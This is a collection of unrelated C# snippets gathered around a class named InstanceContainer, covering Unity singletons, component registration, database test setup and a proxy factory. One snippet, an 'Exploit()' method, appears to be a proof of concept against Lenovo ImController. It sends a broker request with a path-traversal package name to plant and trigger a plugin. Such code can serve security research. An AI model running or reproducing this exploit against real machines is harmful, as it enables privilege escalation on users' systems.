private void InitializeArguments(T obj, Type genericType) { InstanceContainer instanceContainer = this.GetGenericPropertiesOfType(obj, genericType); var properties = instanceContainer.PropertyInfos; var instance = instanceContainer.Instance; foreach (var inputProperty in properties) { var genericArguments = inputProperty.PropertyType.GetGenericArguments(); Argument argument; if (!this.Container.TryGet(inputProperty.Name, out argument)) { continue; } // Get value from Context var value = argument.GetValue(); var instanceForGeneric = genericType.CreateInstanceForGeneric(genericArguments); var instanceArgument = (Argument)instanceForGeneric; instanceArgument.SetValue(value); instanceArgument.Name = inputProperty.Name; inputProperty.SetValue(instance, instanceForGeneric); } }
private static void _RegisterType(IRegisteredComponent component, Type type) { InstanceContainer instanceContainer = _GetInstanceContainer(type); if (!instanceContainer.Add(component)) { Debug.LogError("RegisteredComponentController error: Tried to register same instance twice"); } }
public virtual void Setup() { // run the testsetupscript... this.ConnectionString = ConfigurationManager.ConnectionStrings["WorkmateDatabase"].ConnectionString; using (SqlConnection connection = new SqlConnection(this.ConnectionString)) { connection.Open(); // this will throw an exception if we can't connect } string path = Path.Combine(this.ApplicationPath, @"DataAccess\SqlProvider\SetupScript.sql"); string sql = File.ReadAllText(path); using (SqlConnection connection = new SqlConnection(this.ConnectionString)) { connection.Open(); // this will throw an exception if we can't connect using (SqlCommand command = connection.CreateCommand()) { command.CommandText = sql; command.CommandType = System.Data.CommandType.Text; command.ExecuteNonQuery(); } } _SqlServerDataStore = new SqlServerDataStore(this.ConnectionString); this.DummyDataManager = new DummyDataManager(Path.Combine(this.ApplicationPath, @"DataAccess\DummyData.xml")); this.DefaultUpdateTestIterations = 10; this.Random = new Random(); ApplicationSettings applicationSettings = new ApplicationSettings( ConfigurationManager.AppSettings , ConfigurationManager.ConnectionStrings); System.Configuration.Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None); MembershipSection configSection = (MembershipSection)config.GetSection("system.web/membership"); IMembershipSettings membershipSettings = new MembershipSettings( (NameValueCollection)configSection.Providers[configSection.DefaultProvider].Parameters); InstanceContainer.Initialize(_SqlServerDataStore, applicationSettings, membershipSettings); Workmate.Components.ApplicationManager applicationManger = new Workmate.Components.ApplicationManager(this.DataStore); this.Application = applicationManger.GetApplication("debug_test_setup"); if (this.Application == null) { this.Application = new Workmate.Components.Entities.Application("debug_test_setup", "Auto generated at " + DateTime.UtcNow.ToString() + " (UTC)"); var report = applicationManger.Create(this.Application); if (report.Status != DataRepositoryActionStatus.Success) { throw new ApplicationException("Unable to create debug test setup"); } } }
internal static void _UnregisterType(IRegisteredComponent component, Type type) { InstanceContainer instanceContainer = _GetInstanceContainer(type); if (!instanceContainer.Remove(component)) { Debug.LogError("RegisteredComponentController error: Tried to unregister unknown instance"); } }
private void Awake() { if (Instance) { Destroy(gameObject); return; } Instance = this; DontDestroyOnLoad(gameObject); }
static private void _RegisterType( IRegisteredComponent component, Type type ) { InstanceContainer container = _GetInstanceContainer( type ); if ( !container.Add( component ) ) { Debug.LogError( "RegisteredComponentController error: Tried to register same instance twice" ); } //Debug.Log( "Registered " + type.Name + ": " + component.gameObject.name ); }
static internal void _UnregisterType( IRegisteredComponent component, Type type ) { InstanceContainer container = _GetInstanceContainer( type ); if ( !container.Remove( component ) ) { Debug.LogError( "RegisteredComponentController error: Tried to unregister unknown instance" ); } //Debug.Log( "Unregistered " + type.Name + ": " + component.gameObject.name ); }
public virtual void Setup() { IApplicationSettings applicationSettings = new ApplicationSettings(ConfigurationManager.AppSettings, ConfigurationManager.ConnectionStrings); var emailManager = Substitute.For <IEmailManager>(); emailManager.PutInSendQueue(Arg.Any <int>(), Arg.Any <int>(), Arg.Any <int>()).ReturnsForAnyArgs(new List <IEmail>()); emailManager.SetToSent(Arg.Any <int>(), Arg.Any <EmailStatus>(), Arg.Any <EmailPriority>()).Returns(DataRepositoryActionStatus.Success); InstanceContainer.Initialize(applicationSettings, emailManager); }
private static InstanceContainer _GetInstanceContainer(Type type) { InstanceContainer instanceContainer; if (_instanceContainers.TryGetValue(type, out instanceContainer)) { return(instanceContainer); } instanceContainer = new InstanceContainer(); _instanceContainers.Add(type, instanceContainer); return(instanceContainer); }
private static InstanceContainer _GetInstanceContainer(Type type) { InstanceContainer instanceContainer1; if (InstanceContainers.TryGetValue(type, out instanceContainer1)) { return(instanceContainer1); } var instanceContainer2 = new InstanceContainer(); InstanceContainers.Add(type, instanceContainer2); return(instanceContainer2); }
internal T Create <T>(object[] partDefinitions, object[] parameters, EventInvokers eventInvokers, IEnumerable <InterceptorMap> wrapperFactories) where T : class { InstanceContainer <T> instanceContainer = new InstanceContainer <T>(partDefinitions, parameters, eventInvokers, wrapperFactories); IInterceptor interceptor = instanceContainer.MasterInterceptor; T target = typeof(T).IsInterface ? generator.CreateInterfaceProxyWithoutTarget <T>(interceptor) : generator.CreateClassProxy <T>(interceptor); instanceContainer.Bind(target); generatedEventInvokers.Add(new WeakReference(target), eventInvokers); return(target); }
static private InstanceContainer _GetInstanceContainer( Type type ) { InstanceContainer container; if ( _instanceContainers.TryGetValue( type, out container ) ) { return container; } else { container = new InstanceContainer(); _instanceContainers.Add( type, container ); } return container; }
private void Awake() { if (instance) { Destroy(gameObject); return; } instance = this; DontDestroyOnLoad(gameObject); var singletons = FindObjectsOfType <Singleton>(); for (int i = 0; i < singletons.Length; i++) { singletons[i].AssignInstance(); } }
protected virtual InstanceContainer GetGenericPropertiesOfType(T instance, Type genericType) { InstanceContainer instanceContainer = GetInstanceProperties(instance); var acceptableProperties = new List <PropertyInfo>(); var properties = instanceContainer.PropertyInfos; foreach (var property in properties) { if (property.PropertyType.IsGenericType) { Type propertyType = property.PropertyType.GetGenericTypeDefinition(); if (propertyType == genericType) { acceptableProperties.Add(property); } } } return(new InstanceContainer(instanceContainer.Instance, acceptableProperties)); }
/// <summary>内部生成で使用するインスタンスコンテナを設定します</summary> /// <param name="InstanceContainer">設定するインスタンスコンテナ</param> public void SetInstanceContainer(InstanceContainer InstanceContainer) { context.InstanceContainer = InstanceContainer; }
public async void Exploit() { Console.WriteLine("[+] Preparing exploitable plugin package"); PrepareFolders(); Console.WriteLine("[+] Setting up requred BrokerResponseAgent"); InstanceContainer instance = InstanceContainer.GetInstance(); instance.RegisterInstance <IBrokerResponseAgent>(BrokerResponseAgent.GetInstance()); instance.RegisterInstance <IPluginManager>(PluginManager.GetInstance()); Console.WriteLine("[+] Setting up UDMF driver agent"); _deviceAgent = DeviceDriverAgent.GetInstance(); if (_deviceAgent == null) { Console.WriteLine("[!] Failed to get instance of UDMF driver agent, is this a Lenovo machine with ImController installed?"); return; } BrokerRequest breq = new BrokerRequest(); breq.Version = "1"; breq.Authentication = new BrokerAuthentication(); breq.Authentication.Token = "pwned"; breq.BrokerRequirements = new BrokerRequirements(); breq.BrokerRequirements.MinVersion = "1"; string contractRequestParameter = @" <InstallPendingRequest> <PackageList> <Package name=""..\..\..\LenovoAppScenarioPluginSystem""/> </PackageList> </InstallPendingRequest>"; breq.ContractRequest = new ContractRequest { Command = new ContractCommandRequest { Name = "Install-PendingUpdates", Parameter = contractRequestParameter, RequestType = "sync" }, Name = "ImController" }; Console.WriteLine("[+] Sending Install-PendingUpdates BrokerRequest"); BrokerResponse br = await sendBrokerRequest(breq); if (br.Result != "Success") { Console.WriteLine("[!] Request for Install-PendingUpdates failed"); return; } Console.WriteLine("[-] Waiting for plugin to install, this can take a few minutes"); Thread.Sleep(5000); while (Directory.Exists(@"C:\ProgramData\Lenovo\ImController\Plugins\LenovoAppScenarioPluginSystem_")) { Thread.Sleep(1000); } Thread.Sleep(1000); Console.WriteLine("[+] Package delivered!"); Console.WriteLine("[+] Making plugin request to trigger exploit"); breq.ContractRequest = new ContractRequest { Command = new ContractCommandRequest { Name = "Get-TouchScreenState", Parameter = null, RequestType = "sync" }, Name = "SystemManagement.AppScenario.System" }; br = await sendBrokerRequest(breq); Console.WriteLine("[+] Enjoy"); }
public static TSingleton Get <TSingleton> () { return(InstanceContainer.Get <TSingleton> ()); }
public static void Bind(object singleton) { InstanceContainer.Bind(singleton); }
public static void Unbind(object singleton) { InstanceContainer.UnbindAll(singleton); }